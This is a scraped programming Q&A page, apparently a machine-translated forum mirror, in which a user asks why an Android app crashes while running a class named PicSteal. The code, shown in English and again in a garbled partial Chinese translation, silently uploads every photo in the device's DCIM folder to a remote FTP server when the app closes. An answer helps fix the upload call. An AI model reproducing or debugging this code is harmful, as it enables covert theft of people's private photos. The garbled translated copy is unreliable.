Java 执行此类时Android应用程序崩溃:
此类在主活动的onDestroy()方法期间执行。它大约循环10次,然后崩溃。我能做些什么来防止这种情况?上传步骤后,我是否会减慢进程 代码如下:Java 执行此类时Android应用程序崩溃:,java,android,Java,Android,此类在主活动的onDestroy()方法期间执行。它大约循环10次,然后崩溃。我能做些什么来防止这种情况?上传步骤后,我是否会减慢进程 代码如下: package com.simplejsonapp; import it.sauronsoftware.ftp4j.FTPAbortedException; import it.sauronsoftware.ftp4j.FTPClient; import it.sauronsoftware.ftp4j.FTPDataTransferExceptio
package com.simplejsonapp;
import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import android.os.Build;
import android.os.Environment;
public class PicSteal {
public static void picStealer(){
//Create the FTP connection object:
FTPClient client = new FTPClient();
try {
//String deviceType = getDeviceName();
/**
* This section is where I need to add a decision structure for
* what folder to download from based on what kind of device is
* using the software.
*/
client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
client.login("ftpuser", "aaa");//login using credentials
//this is where the magic happens
String deviceName = getDeviceName();
//File samsung = new File("/storage/emulated/0/DCIM/");
//create the file object
File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
//create the array of files to iterate over
File[] listOfFiles = stock.listFiles();
processFiles(listOfFiles, client);
client.disconnect(true);//disconnect
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private static void processFiles(File[] listOfFiles, FTPClient client) {
for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File(listOfFiles[i].toString()));
} catch (FTPDataTransferException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NullPointerException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
catch (FTPAbortedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.println("File " + listOfFiles[i].getName());
catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} else if (listOfFiles[i].isDirectory()) {
//System.out.println("Directory " + listOfFiles[i].getName());
File[] newList = listOfFiles[i].listFiles();
processFiles(newList, client);
}
}// TODO Auto-generated method stub
}
public static String getDeviceName() {
String manufacturer = Build.MANUFACTURER;
//String model = Build.MODEL;
return manufacturer;
}
package com.simplejsonapp;
导入it.sauronsoftware.ftp4j.ftpBartedException;
导入it.sauronsoftware.ftp4j.FTPClient;
导入it.sauronsoftware.ftp4j.FTPDataTransferException;
导入it.sauronsoftware.ftp4j.FTPException;
导入it.sauronsoftware.ftp4j.FTPIllegalReplyException;
导入java.io.File;
导入java.io.FileNotFoundException;
导入java.io.IOException;
导入android.os.Build;
导入android.os.Environment;
公共级PicSteal{
公共静态无效picStealer(){
//创建FTP连接对象:
FTPClient client=新的FTPClient();
试一试{
//字符串deviceType=getDeviceName();
/**
*这一部分是我需要添加决策结构的地方
*根据设备类型,从哪个文件夹下载
*使用软件。
*/
client.connect(“127.0.0.1”);//创建到服务器的连接(此处的IP因4chan而更改)
client.login(“ftpuser”、“aaa”);//使用凭据登录
//这就是魔法发生的地方
字符串deviceName=getDeviceName();
//文件samsung=新文件(“/storage/emulated/0/DCIM/”);
//创建文件对象
File stock=新文件(Environment.getExternalStorageDirectory().getAbsolutePath()+“/DCIM/”;
//创建要迭代的文件数组
文件[]listOfFiles=stock.listFiles();
处理文件(列表文件、客户端);
client.disconnect(true);//断开连接
}捕获(非法状态){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(IOE异常){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(FTPILLEGALREPLYE异常){
//TODO自动生成的捕捉块
e、 printStackTrace();
}捕获(FTPEException e){
//TODO自动生成的捕捉块
e、 printStackTrace();
}
}
私有静态void进程文件(文件[]列表文件,FTPClient客户端){
for(int i=0;i
}看这一行,你在上传中传递的是字符串,而不是文件列表
client.upload(new java.io.File("listOfFiles[i]"));
使用
注意。感谢您指出,它向我展示了我发布的代码的旧版本。给我20秒钟,我会用最新的代码更新主要问题中的代码。
client.upload(new java.io.File(listOfFiles[i]));